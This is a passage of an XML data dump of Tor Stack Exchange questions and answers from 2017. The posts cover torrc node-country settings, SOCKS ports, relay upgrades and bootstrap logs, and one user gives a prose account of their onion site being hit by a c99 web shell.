Italiana.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pensate sia possibile attivare queste due funzionalità all'OTTIMO TOR?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I'm a new user of TOR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use it to watch TV Switzerland from the Italian.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do so in the torrc-defaults file I entered: EntryNodes {CH} and ExitNodes {CH}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything works perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found this feature online casually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because this feature of changing the country with EntryNodes and ExitNodes is not&#xA;Can you do it directly from within the sw?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found this feature online casually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also why can not I start two instances of TOR at the same time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, I needed to have both the Swiss and Italian TV views at the same time,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think you can enable these two features at the TOP TOR?&lt;/p&gt;&#xA;" OwnerUserId="17442" LastActivityDate="2017-05-13T15:16:07.360" Title="EntryNodes and ExitNodes" Tags="|configuration|" AnswerCount="1" CommentCount="0" ClosedDate="2017-05-14T01:07:38.500" ContentLicense="CC BY-SA 3.0" />
  <row Id="14777" PostTypeId="2" ParentId="14776" CreationDate="2017-05-13T15:16:07.360" Score="0" Body="&lt;p&gt;I comandi inseriti in testa al mio file torrc-defaults sono:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EntryNodes {CH}&#xA;ExitNodes {CH}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Su alcuni siti/forum ho visto anche il comando: StrictNodes 1 messo dopo EntryNodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Devo metterlo anche io?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C'è qualche comando da mettere dopo ExitNodesz?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Grazie&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The commands inserted in the top of my torrc-defaults file are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EntryNodes {CH}&#xA;ExitNodes {CH}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On some sites / forums I also saw the command: StrictNodes 1 put after EntryNodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have to put it myself too?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any command to put on after ExitNodesz?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="17442" LastActivityDate="2017-05-13T15:16:07.360" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14778" PostTypeId="1" CreationDate="2017-05-14T01:50:43.107" Score="1" ViewCount="232" Body="&lt;p&gt;Currently running TBB 7.0a3 on OS X 10.15.&#xA;Cannot get any other app to use Tor on any port when bundle is running.&#xA;Some digging turned up torrc file which contained line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort unix:&quot;/Users/will/Library/Application Support/TorBrowser-Data/Tor/socks.socket&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Clearly this works for TBB and hardens it somehow, but I have need of using other applications through tor, so can someone please recommend a way of adding an open SOCKS port of 9150 or 9050 without compromising security?&#xA;Thanks. My applications support using usernames and passwords for SOCKS, if that helps.&lt;/p&gt;&#xA;" OwnerUserId="17446" LastEditorUserId="88" LastEditDate="2017-05-14T11:30:02.720" LastActivityDate="2021-12-21T13:08:55.877" Title="Can't use SOCKS with TBB 7.0a3 -- help w/ torrc and unix sockets plz" Tags="|tor-browser-bundle|socks|mac|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14779" PostTypeId="1" CreationDate="2017-05-14T03:10:22.300" Score="1" ViewCount="36" Body="&lt;p&gt;Ok so I have Tor downloaded, but I try to open the Setup program. It doesn't open. I also have another Tor downloaded that is installed, but I can't open it either. I think it has to do with the fact that it can't run on Firefox ESR. What is the problem?&lt;/p&gt;&#xA;" OwnerUserId="17447" LastActivityDate="2017-05-14T03:10:22.300" Title="Tor will not setup on Raspberry Pi. Is it compatible with FireFox ESR?" Tags="|tor-install|" AnswerCount="0" CommentCount="1" ClosedDate="2017-05-16T08:07:10.680" ContentLicense="CC BY-SA 3.0" />
  <row Id="14781" PostTypeId="1" AcceptedAnswerId="14782" CreationDate="2017-05-14T10:39:32.300" Score="2" ViewCount="1427" Body="&lt;p&gt;I have just come across an article stating that Tor has a new version released 0.3.0.6. and is stable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1st question how do I find out what version of Tor I am running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2nd question how do I update Tor to new version, will this mean shutting my new relay down?&lt;/p&gt;&#xA;" OwnerUserId="17225" LastEditorUserId="-1" LastEditDate="2017-05-14T19:14:39.590" LastActivityDate="2017-05-14T19:24:46.777" Title="Upgrading Tor on Ubuntu as a relay operator" Tags="|ubuntu|troubleshooting|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14782" PostTypeId="2" ParentId="14781" CreationDate="2017-05-14T17:20:31.610" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;how do I find out what version of Tor I am running?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dpkg -l tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;question how do I update Tor to a new version?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Update all packages installed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;apt-get update &amp;amp;&amp;amp; apt-get upgrade&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Update Tor only:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;apt-get install tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If your using the Tor version coming with Ubuntu you may not receive the 3.0.6 update, many distributions use older version (which are still supported and receive security updates). If you want the newest version have a look at &lt;a href=&quot;https://www.torproject.org/docs/debian.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;this guide&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;will this mean shutting my new relay down?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Yes, your relay will be offline for about a minute.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-05-14T17:20:31.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14783" PostTypeId="2" ParentId="14778" CreationDate="2017-05-14T17:37:52.770" Score="0" Body="&lt;p&gt;You can simply add another &lt;code&gt;SocksPort entry&lt;/code&gt;. So this is completely legitimate:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 9051&#xA;SocksPort 9052 IsolateDestAddr&#xA;SocksPort unix:/var/run/tor/socks/socks1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The impact on security should be minimal. TCP/IP Ports are not bound to unix permissions, hence, other user on your system can access and potentially attack the port. The main goal of unix sockets, though, is to be able to disable IP networking in the Browser which still possible as long as the unix socket stays enabled too.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastEditorUserId="16657" LastEditDate="2017-05-15T08:25:08.310" LastActivityDate="2017-05-15T08:25:08.310" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14784" PostTypeId="2" ParentId="14781" CreationDate="2017-05-14T19:24:46.777" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;1st question how do I find out what version of Tor I am running.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are several possibilities:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;tor --version&lt;/code&gt; on the command line issues the version number: &lt;code&gt;Tor version 0.2.9.10 (git-e28303bcf90b842d).&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;apt-cache policy tor&lt;/code&gt; is a system command and leads to several lines of output. The important line is &lt;code&gt;Installed: 0.2.9.10-1&lt;/code&gt;. &lt;/li&gt;&#xA;&lt;li&gt;When Tor starts it writes some information to the log: &lt;code&gt;grep &quot;opening new log&quot; /var/log/tor/notices.log&lt;/code&gt; outputs the line &lt;code&gt;May 14 07:35:05.000 [notice] Tor 0.2.9.10 (git-e28303bcf90b842d) opening new log file.&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2nd question how do I update Tor to new version, will this mean shutting my new relay down?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You should first have a look at your &lt;code&gt;sources.list&lt;/code&gt;. This is either in &lt;code&gt;etc/apt/sources.list&lt;/code&gt; or a file in &lt;code&gt;/etc/apt/sources.list.d/&lt;/code&gt;. Depending on the Ubuntu version you have there is a line like &lt;code&gt;deb http://deb.torproject.org/torproject.org tor-experimental-0.3.0.x-xenial main&lt;/code&gt;. If the version string in the middle is different from &lt;code&gt;0.3.0&lt;/code&gt; you should change that to &lt;code&gt;0.3.0&lt;/code&gt;. Then run &lt;code&gt;aptt-get update &amp;amp;&amp;amp; apt-get upgrade&lt;/code&gt;. Ubuntu will automatically restart your relay which means that it is offline during the upgrade.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2017-05-14T19:24:46.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14785" PostTypeId="2" ParentId="14775" CreationDate="2017-05-15T08:30:38.730" Score="0" Body="&lt;p&gt;You can use Facebook in different ways:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://facebook.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://facebook.com&lt;/a&gt; is the usual URL you can use with any browser. Facebook loads several other ressources when you open this URL. It might be that the security settings in Tor's Browser prevent some from being executed. Thatswhy &lt;kbd&gt;Shift+Enter&lt;/kbd&gt; does not work.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://facebookcorewwwi.onion&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://facebookcorewwwi.onion&lt;/a&gt; is an URL which works over Tor Onion Services. Every connection stays inside the Tor network. If you open this URL in Tor Browser, you can use Facebook and &lt;kbd&gt;Shift+Enter&lt;/kbd&gt; works. This is probably because the ressources are executed.&lt;/li&gt;&#xA;&lt;li&gt;Facebook App runs on several mobile phones. You can set it up to work with Tor (if Tor is installed on your phone) and I bet you can also insert line breaks here.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="88" LastActivityDate="2017-05-15T08:30:38.730" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14786" PostTypeId="2" ParentId="13365" CreationDate="2017-05-15T17:56:37.333" Score="1" Body="&lt;p&gt;&lt;strong&gt;TLDR&lt;/strong&gt; This may not be a good idea, and may harm your anonymity, the best thing to do is to leave Tor do its own routing algorithm. It can however be (approximately) implemented through torrc.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/3678#comment:3&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/ticket/3678#comment:3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This one is a lot more complicated than it sounds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please take the following concerns not as arguing that the idea of country-aware routing is broken or unworkable, but as an explanation for why the simple version of it is not necessarily a good idea, and why the complex version of it that &lt;em&gt;might&lt;/em&gt; be a good idea still has a bunch of unsolved problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You not only need to think about the countries used by your Tor relays, but the country that you're in and the country that your destination is in. For example, if you and your destination are in the same country, and some agency in that country is monitoring and correlating its internal communications, then current low-latency anonymity designs can't help against them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it gets even more complicated: internet topology does not obey national borders (it's not uncommon for a connection between two places in one country to travel through a third country -- I hear it happens in Canada a lot), and nations are not connected in a clique (traffic from country A to county B often goes through some other country C).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And to add a new fun complication, there are agencies out there who allegedly do most of their snooping at national borders and IX exchanges. Maximizing country-to-country transitions would seem to &lt;em&gt;increase&lt;/em&gt; exposure to such attackers rather than limit it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally, nobody's done the math as far as I know to show whether and under what circumstances a routing algorithm of this style would give you observably different results from using the regular path generation algorithm in a way that would allow an attacker to separate your traffic from the rest of the network and thereby actually make your anonymity worse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In spite of all of that, this is research that we do need to do. Murdoch and Zelinski have some important observations (​&lt;a href=&quot;https://freehaven.net/anonbib/#murdoch-pet2007&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://freehaven.net/anonbib/#murdoch-pet2007&lt;/a&gt;). I think that one of the most promising directions I know of right now for topology-aware routing is the kind of work done by Edman and Syverson (​freehaven.net/anonbib/#DBLP:conf/ccs/EdmanS09); I think some other groups are poking on it too. A forthcoming paper I did with Roger Dingledine, Paul Syverson, and Aaron Turner (assuming that it gets in where we submitted it) might also have some relevance, though it's more about mistrusting some countries more than others than it is about what to do if you mistrust all countries equally but think that they don't cooperate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anything that can be done to pick up the analysis work of any of these threads would be greatly helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh! And as a workaround, if none of the above issues concern you, then you can get something close to what you want here by splitting countries with lots of Tor nodes into two halves, and saying&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EntryNodes {aa},{bb},{cc},...&#xA;ExitNodes {nn},{oo},{pp},...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll need to use Tor 0.2.3.x for support for country codes in your EntryNodes list, and you might want to decide whether to use &quot;StrictNodes 1&quot; to make sure that Tor forbids circuits you don't want even when they would be needed to connect to a directory or hidden service.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;" OwnerUserId="17465" LastActivityDate="2017-05-15T17:56:37.333" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14787" PostTypeId="2" ParentId="14775" CreationDate="2017-05-16T00:21:18.120" Score="2" Body="&lt;p&gt;This seems to be a general issue with keyboard input handling not being handled correctly, there's already a &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/20800&quot; rel=&quot;nofollow noreferrer&quot;&gt;bugreport about it&lt;/a&gt; (currently unresolved) in the Tor bug tracker.&lt;br&gt;&#xA;I can also confirm it doesn't only affect facebook, but all pages which have different behaviour for Shift+Enter compared to just Enter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also means the issue has nothing to do with the level you set the security slider of the Tor Browser to.&lt;/p&gt;&#xA;" OwnerUserId="17466" LastActivityDate="2017-05-16T00:21:18.120" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14789" PostTypeId="2" ParentId="4099" CreationDate="2017-05-16T04:40:25.993" Score="-2" Body="&lt;p&gt;In an e-mail, Tor project leader Roger Dingledine said the requirements of the attack greatly limited its effectiveness in real-world settings. First, he said, the adversary must control one of the entry guards a hidden service is using. &lt;strong&gt;Such entry guards in theory are assigned randomly,&lt;/strong&gt; so attackers would have to operate a large number of Tor nodes to have a reasonable expectation of seeing traffic of a given hidden service. Additionally, he cited research from last year arguing that researchers routinely exaggerate the risk of website fingerprinting on anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A response to another research that claimed they could de-anonymise TOR. Clearly the bit about entry guards being assigned randomly is not true.&lt;/p&gt;&#xA;" OwnerUserId="17469" LastActivityDate="2017-05-16T04:40:25.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14792" PostTypeId="2" ParentId="9935" CreationDate="2017-05-16T14:58:00.140" Score="-3" Body="&lt;p&gt;This message appears because you didn't gave executable permission to those files&#xA; now you just go the /browser folder &amp;amp; make those files executable by typing &quot;&quot;chmod +x *&quot;(without any quotes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you will be able to run Tor Browser by executing &quot;start-tor-browser.desktop&quot; or &quot;tor.desktop&quot; any of these files.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Ubloc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ubloc.png&quot; alt=&quot;making executable tor files &quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17477" LastActivityDate="2017-05-16T14:58:00.140" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14797" PostTypeId="1" CreationDate="2017-05-17T08:10:45.460" Score="1" ViewCount="592" Body="&lt;p&gt;Im having problems figuring out how to configure my connection properly. Ive tried bridges and proxies. Currently in the USA, I dont know if that helps. Here's the logs with and without provided obfs4 bridge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;==============WITHOUT BRIDGE ============================================================&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5/12/2017 21:58:44 PM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5/12/2017 21:58:44 PM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5/12/2017 21:58:44 PM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5/12/2017 21:58:44 PM.100 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;5/12/2017 21:58:45 PM.000 [NOTICE] Bootstrapped 5%: Connecting to directory server &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5/12/2017 21:58:45 PM.100 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5/12/2017 21:58:45 PM.200 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5/12/2017 21:58:45 PM.300 [NOTICE] Bootstrapped 20%: Asking for networkstatus &#xA;consensus &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5/12/2017 21:58:45 PM.300 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5/12/2017 21:58:46 PM.400 [WARN] Received directory with skewed time(DIRSERV:128.31.0.34:9101): It seems that our clock is behind by 4 days, 4 hours, 53 minutes, or that theirs is ahead. Tor requires an accurate clock to work: please check your time, timezone, and date settings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5/12/2017 21:58:50 PM.400 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5/12/2017 21:58:50 PM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5/12/2017 21:58:50 PM.400 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;5/12/2017 21:58:50 PM.900 [NOTICE] Delaying directory fetches: DisableNetwork is set. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;==========WITH PROVIDED OBFS4 BRIDGE ===========================================&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5/12/2017 21:48:31 PM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5/12/2017 21:49:01 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5/12/2017 21:49:01 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5/12/2017 21:49:01 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5/12/2017 21:49:01 PM.600 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;5/12/2017 21:49:07 PM.300 [NOTICE] Bootstrapped 5%: Connecting to directory server &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5/12/2017 21:49:07 PM.300 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5/12/2017 21:49:08 PM.300 [WARN] Proxy Client: unable to connect to 198.245.60.50:443 (&quot;general SOCKS server failure&quot;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5/12/2017 21:49:29 PM.200 [WARN] Proxy Client: unable to connect to 154.35.22.12:4304 (&quot;general SOCKS server failure&quot;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5/12/2017 21:49:29 PM.200 [WARN] Proxy Client: unable to connect to 154.35.22.11:16488 (&quot;general SOCKS server failure&quot;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5/12/2017 21:49:42 PM.400 [WARN] Proxy Client: unable to connect to 192.95.36.142:443 (&quot;general SOCKS server failure&quot;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5/12/2017 21:49:45 PM.500 [WARN] Proxy Client: unable to connect to 85.17.30.79:443 (&quot;general SOCKS server failure&quot;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5/12/2017 21:49:50 PM.300 [WARN] Proxy Client: unable to connect to 83.212.101.3:50002 (&quot;general SOCKS server failure&quot;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5/12/2017 21:49:51 PM.100 [NOTICE] Delaying directory fetches: No running &#xA;bridges &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5/12/2017 21:50:02 PM.400 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5/12/2017 21:50:02 PM.400 [NOTICE] DisableNetwork is set. Tor will not make or &#xA;accept non-control network connections. Shutting down all existing connections. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5/12/2017 21:50:02 PM.400 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &lt;/p&gt;&#xA;" OwnerUserId="17488" LastActivityDate="2017-05-17T08:10:45.460" Title="Problems configuring connection / censored" Tags="|bridge|network-configuration|" AnswerCount="0" CommentCount="1" ClosedDate="2017-05-19T08:08:27.600" ContentLicense="CC BY-SA 3.0" />
  <row Id="14799" PostTypeId="1" AcceptedAnswerId="14800" CreationDate="2017-05-17T09:45:23.690" Score="1" ViewCount="364" Body="&lt;p&gt;The Tor Browser Sandbox is pretty great (thanks Yawning!) but how can one run multiple instances of it at the same time?&lt;/p&gt;&#xA;" OwnerUserId="17490" LastActivityDate="2017-05-17T10:35:50.480" Title="How can I run multiple instances of the Tor Browser Sandbox in linux?" Tags="|linux|sandbox|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14800" PostTypeId="2" ParentId="14799" CreationDate="2017-05-17T10:35:50.480" Score="2" Body="&lt;p&gt;This isn't really something that's supported, because it's an uncommon use case and the code is still at the point of &quot;it should do common things really well&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, if you set &lt;code&gt;$XDG_RUNTIME_DIR&lt;/code&gt;, &lt;code&gt;$XDG_CONFIG_HOME&lt;/code&gt; and &lt;code&gt;$XDG_DATA_HOME&lt;/code&gt; to unique directories that exist (with appropriate permissions in the case of the runtime directory), it should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The use of the various directories is per the XDG Base Directory specification, available at &lt;a href=&quot;https://specifications.freedesktop.org/basedir-spec/basedir-spec-latest.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://specifications.freedesktop.org/basedir-spec/basedir-spec-latest.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user78" LastActivityDate="2017-05-17T10:35:50.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14802" PostTypeId="1" AcceptedAnswerId="14807" CreationDate="2017-05-17T14:41:28.887" Score="2" ViewCount="728" Body="&lt;p&gt;In this forum many user talk about virtualbox,vmware, to isolate the server from the system.And Protecting Hidden services .onion private key from your host its better to store outside from that isolated place what the server is running.But i think it's not enough.Programs like Xampp,Wamp in windows try to install in system drive C:/.With this is the problem if this happend the attacker will acces the system in virtualbox.And they can install more viruses,and backdoor.I think its a way 1. to put the server in a encrypted file (like a VeraCrypt volume,2.Copy this file in the virtual mashine,+ encrypt the virtual mashine too with full disk encryption but with another keys what use the host mashnine.3.Mount this file and run the serven in a non system patrition drive.4 disable USB ports,block drivers,CD,DVD,ports,in virtual mashine block.Turn on network discovery to protect the system to acces back and forth to acces the encrypted virtual system or non system patrition drives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i give more extra protection to protect the system in virtual mashine if the server are cracked like C99 shell,to block the attacker to acces in the operating system in the virtual mashine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my resoults:&#xA;Os:Windows 7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Server Xampp for window 7.1.2 / PHP 7.1.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor 0.9.9.10&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run time 3 week&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Service: hidden forum&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The server installed in a non system patrition drive!!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The setup:Another programs blocked.Port 80,MSQL allowed,another program activity blocked with firewall.The server installed in a non system patrition drive.Only the MSQL and Apache runned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 1. attack: The attackers scanned all bublic and non public URL-s what can accesable from a simple browser.Like server-info,server-status,and defaultly the hidden server information.They can acessed all links what possible available in normal browse without passwords or cracking the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 2. attack: The attackers saved all this page informations and several times goes back some certain links which can contain major information like: User information,website public change information,. They have been saved and fallowed this status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 1-2. attack:Some robots constantly but slowly scanned the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 3. attack:Cracking the server.After the first visitor.About 3 week later they have been cracked my server.They uploded a PHP vírus in the phpmyadmin folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What did this virus know?: This virus name was  c99 shell.And the attacker renamed the file to abc.php They can search and download files not just the server but another patritions,portable usb,pendrive etc.Its have a web interface.Its looks like a website or a browser. Before this happend i enable all the xampp server cache moduls. This virus script upload the attackers through the server.But its somhow can not acessed the system patrition drive.&lt;/p&gt;&#xA;" OwnerUserId="17382" LastEditorUserId="17382" LastEditDate="2017-05-19T16:51:54.243" LastActivityDate="2017-05-19T16:51:54.243" Title="Attackers this ways tryed deanonimyze my TOR onion site and get private informations.How to protect our self using system isolation?" Tags="|onion-services|anonymity|security|deanonymization|server|" AnswerCount="1" CommentCount="7" ClosedDate="2017-05-19T06:55:36.373" ContentLicense="CC BY-SA 3.0" />
  <row Id="14807" PostTypeId="2" ParentId="14802" CreationDate="2017-05-18T14:51:08.650" Score="1" Body="&lt;p&gt;The first thing, the internet what your use,how you used, and never strore you self private informations in the server mashine! If someone try deanonymize you they will try get private informations from the server and try to get your internet provider IP address! If you can, do not use that internet access for your own private skype,msn,E-mail,facebook,others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This attacks,i think It's the simple way to get easy informations,read private msg, and deanonimyze the users and the server administrator,crack not juts the server but the whole system in a hidden service.Tor will protect you to sniffing someone the internet traffic but this thing a big problem. Tor and hidden service will connect to localhost 127.0.0.1.Wamp,Xampp,.In locallhost allow more acess to the system unlike other Ip adress. Its important to set up other IP adress in wm. If you use another wifi like hot spot and not your Internet subscription. It gives the same security, anonymity,like TOR.But its inportant use USB wifi adapter AP,Router,Range extenders are not the best choice.If you use USB adapter all sensytive information are strored in your encrypted PC and not in unencrypted  and easy to crackable Router,AP memory.If have another bug in the system this will protect you.If you encrypt the full HDD in a running mashine tourgh USB,CD/DVD,and other ports its possible to acess your system.The WM virtualbox gives you the most inportant protection to protect your system.&lt;/p&gt;&#xA;" OwnerDisplayName="user17511" LastActivityDate="2017-05-18T14:51:08.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
